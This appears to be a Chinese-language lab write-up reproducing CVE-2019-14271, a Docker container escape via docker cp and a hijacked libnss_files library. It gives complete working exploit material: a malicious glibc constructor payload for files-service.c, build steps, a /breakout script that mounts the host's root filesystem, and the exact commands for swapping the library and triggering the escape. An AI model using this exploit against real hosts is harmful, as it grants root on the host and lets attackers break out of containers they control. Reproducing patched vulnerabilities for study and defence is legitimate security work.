CVE-2019-14271:加载不受信任的动态链接库
docker cp依赖的docker-tar组件会加载容器内部的nsswitch动态链接库,但自身却未被容器化。
hacker可以通过劫持容器内的nsswitch动态链接库实现对宿主机进程的代码注入,获得宿主机上的代码执行能力
问题所在:高权限进程自身未容器化,却加载了不可控的动态链接库,一旦控制了容器就可以通过修改容器内动态链接库来实现在宿主机上以root权限执行任意代码。
原理
执行docker cp后,docker daemon会启动一个docker-tar进程来完成这项复制任务。若要从容器内复制文件到宿主机上,docker-tar原理:
会切换进程的根目录(执行chroot)到容器根目录,然后将需要复制的文件或目录打tar包传递给Docker daemon,Docker daemon负责将内容解包到用户指定的宿主机目标路径。
- chroot:原本使用chroot,是位了避免了符号连接导致的路径穿越,但是docker-tar仅仅chroot到了容器的文件系统,而程序本身不是容器化的,其在主机命名空间中运行,这意味着docker-tar不受cgroup或seccomp的限制。如果这时候docker-tar加载了容器内部的恶意动态链接库(本来应该从主机文件系统中加载库,但是由于docker-tar chroots到了容器内,所以从容器文件系统中加载动态链接库),被注入恶意代码,那就能够获得对主机完全的root访问权限
利用思路
- 找出docker-tar具体会加载那些容器内的动态链接库
- 下载对应动态链接库源码,为其增加一个__attribute__((constructor))属性的函数run_at_link(该属性意味着在动态链接库被进程加载时,run_at_link函数会首先被执行),在run_at_link函数中放置我们希望docker-tar执行的攻击载荷(payload);编译生成动态链接文件
- 编写辅助脚本”/breakout“,将辅助脚本和步骤二生成的恶意动态链接库放入恶意容器,等待用户执行docker cp命令,触发漏洞
定位动态链接库
定位docker-tar启动后会加载的容器内动态链接库?
- 分析docker源码
- 执行docker cp,查看容器内哪些动态链接库被加载了(可以使用Linux提供的inotify机制,监控文件系统的变化)
- inotify-tools时一系列基于inotify机制开发的命令行工具,可以借助这些命令行工具监控docker-tar对容器内动态链接库的使用情况
#docker run -itd --name=test ubuntu
//拿到容器在宿主机上的绝对路径
#docker exec -it test cat /proc/mounts | grep docker
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/X3TLF3OEJEGAFSQDE53ZRSLQYS:/var/lib/docker/overlay2/l/JHRUBAQR6XWQITKRQTUUY574R2,upperdir=/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/diff,workdir=/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/work 0 0
- 加docker exec…存粹是,test无法访问其他容器在宿主的路径,所以精准定位
那么容器的根目录在宿主机上的绝对路径为:
/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged
f8514cf67d36d6349d07a6198800acda396/merged# apt install -y inotify-tools
root@pmj-virtual-machine:/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged# inotifywait -mr /var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged/lib/
Setting up watches. Beware: since -r was given, this may take a while!
Watches established.
/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged/lib/x86_64-linux-gnu/ OPEN libnss_files-2.31.so
/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged/lib/x86_64-linux-gnu/ ACCESS libnss_files-2.31.so
/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged/lib/x86_64-linux-gnu/ CLOSE_NOWRITE,CLOSE libnss_files-2.31.so
可以看出docker-tarhua加载了libnss_files-2.31.so
构建动态链接库
https://ftp.gnu.org/gnu/glibc/glibc-2.31.tar.bz2下载glibc库
257 tar -jxvf glibc-2.31.tar.bz2
259 cd glibc-2.31
261 vim Makeconfig
//注释这一行,关掉警告设置,避免加入恶意payload后编译失败
#+gccwarn-c = -Wstrict-prototypes -Wold-style-definition
在源码中添加恶意payload
- 可以在/glibc-2.27/nss/nss_files目录下任意源码文件中添加payload
- 这里选择files-service.c文件
- 不必过多操作,作为一个获取控制权的途径,把真正具有威胁的操作放入容器内/breakout脚本中,让动态链接库去执行/breakout脚本文件即可
在其中一个源文件中添加函数run_at_link(),使用构造函数定义该函数,所以每次进程加载时,run_at_link()函数都能够作为库的初始化函数执行,即docker-tar进程动态加载此库,函数就会执行
在files-service.c文件中加入如下payload
// content should be added into nss/nss_files/files-service.c
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
//容器内部原始original_libnss_files.so.2文件的备份位置
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
//恶意original_libnss_files.so.2的位置
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
//带有constructor属性的函数会在动态链接库被加载时自动执行
__attribute__ ((constructor)) void run_at_link(void) {
char * argv_break[2];
//判断当前是否时容器外的高权限进程(docker-tar)
//如果时容器内进程,则不做任何操作
if (!is_priviliged())
return;
//攻击只需要执行一次即可
//用备份的原始libnss_files.so.2文件替换恶意libnss_files.so.2文件
//避免后续的docker cp操作持续加载恶意libnss_files.so.2文件
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
//以docker-tar进程的身份创建新进程,执行容器内的breakout脚本
if (!fork()) {
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged() {
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL) {
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}
编译生成恶意链接文件
cd /root/gnu/glibc-build
mkdir configur1
../glibc-2.31/configure --prefix=/root/gnu/glibc-build/configur1/
make
//生成的恶意动态链接库文件为/glibc-build/nss/libnss_files.so;要注意的是libnss_files.so.2为链接文件,别弄错了
实现逃逸
如果用户执行docker cp,后台的docker-tar进程在执行了chroot命令后,会触发libnss_files.so
- 将此脚本拷贝到容器根目录,并给他加上777权限
#!/bin/bash
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount the host's procfs over /proc
cd /proc/1/root # chdir to host's root
mount --bind . /host_fs # mount host root at /host_fs
- 将容器内原有的libnss_files.so拷贝到容器根目录并重命名
- 用构建好的libnss_files.so库替换原有正常库(记得改名)
整个过程如下:(为进入容器操作,也可以在宿主机进入容器文件目录进行操作)
root@c638f4a1fa0f:/# chmod 777 breakout
root@c638f4a1fa0f:/lib/x86_64-linux-gnu# ls -l | grep libnss_files
-rw-r--r-- 1 root root 51832 Dec 16 2020 libnss_files-2.31.so
lrwxrwxrwx 1 root root 20 Dec 16 2020 libnss_files.so.2 -> libnss_files-2.31.so
root@c638f4a1fa0f:/lib/x86_64-linux-gnu# cp libnss_files-2.31.so /original_libnss_files.so.2
root@c638f4a1fa0f:/lib/x86_64-linux-gnu# rm ./libnss_files.so.2
root@c638f4a1fa0f:/# mv libnss_files.so /lib/x86_64-linux-gnu/libnss_files.so.2
root@c638f4a1fa0f:/# ls
bin dev lib libx32 opt root srv usr
boot etc lib32 media original_libnss_files.so.2 run sys var
breakout home lib64 mnt proc sbin tmp
- docker cp test:/etc/passwd ./,触发攻击
复现成功
遇到问题
- 下图问题:不能在glibc的源文件目录下运行
- 下图问题,缺少依赖
//安装依赖
198 apt install bison
203 apt install gawk
-
动态链接库问题,失败了,对docker的所有命令都失效
问题描述:docker根目录下的original_libnss_files.so.2消失,但是没有挂载host_fs成功
说明其中payload中rename那行生效了,所以编译的nss库没问题
是breakout需要加上777权限,没想到,到github上问了作者才知道,非常感谢
参考文献:
云原生安全:攻防实践与体系构建
Docker Patched the Most Severe Copy Vulnerability to Date With CVE-2019-14271 (paloaltonetworks.com)